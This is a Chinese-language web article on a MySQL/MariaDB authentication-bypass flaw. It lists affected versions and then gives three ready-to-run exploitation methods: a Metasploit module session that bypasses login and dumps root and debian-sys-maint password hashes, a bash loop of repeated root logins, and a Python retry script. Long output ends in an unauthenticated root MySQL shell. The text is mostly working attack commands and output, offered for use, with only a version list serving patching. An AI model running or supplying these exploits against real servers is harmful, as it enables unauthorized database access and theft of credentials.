我要评论也就是说只要知道用户名，不断尝试就能够直接登入sql数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
受影响的产品：
all mariadb and mysql versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
mariadb versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
mysql versions from 5.1.63, 5.5.24, 5.6.6 are not.
网上已经出了metasploit版本的相应利用工具
利用方法如下：
复制代码
代码如下:$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set username root
msf auxiliary(mysql_authbypass_hashdump) > set rhosts 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306 the server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 authentication bypass is 10% complete
[*] 127.0.0.1:3306 authentication bypass is 20% complete
[*] 127.0.0.1:3306 successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 saving hashstring as loot: root:*c8998584d8aa12421f29bb41132a288cd6829a6d
[+] 127.0.0.1:3306 saving hashstring as loot: root:*c8998584d8aa12421f29bb41132a288cd6829a6d
[+] 127.0.0.1:3306 saving hashstring as loot: root:*c8998584d8aa12421f29bb41132a288cd6829a6d
[+] 127.0.0.1:3306 saving hashstring as loot: root:*c8998584d8aa12421f29bb41132a288cd6829a6d
[+] 127.0.0.1:3306 saving hashstring as loot: debian-sys-maint:*c59ffb311c358b4efd4f0b82d9a03cbd77dc7c89
[*] 127.0.0.1:3306 hash table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] scanned 1 of 1 hosts (100% complete)
[*] auxiliary module execution completed
测试方法2：
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
测试方法3：
复制代码
代码如下:#!/usr/bin/python
import subprocess
while 1:
subprocess.popen("mysql -u root mysql --password=blah", shell=true).wait()
如下：
relik@stronghold:~# python mysql_bypass.py
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
error 1045 (28000): access denied for user ‘root’@'localhost’ (using password: yes)
reading table information for completion of table and column names
you can turn off this feature to get a quicker startup with -a
welcome to the mysql monitor. commands end with ; or \g.
your mysql connection id is 24598 www.jb51.net
server version: 5.1.62-0ubuntu0.11.10.1 (ubuntu)
copyright (c) 2000, 2011, oracle and/or its affiliates. all rights reserved.
oracle is a registered trademark of oracle corporation and/or its
affiliates. other names may be trademarks of their respective
owners.
type ‘help;’ or ‘\h’ for help. type ‘\c’ to clear the current input statement.
mysql>
发表评论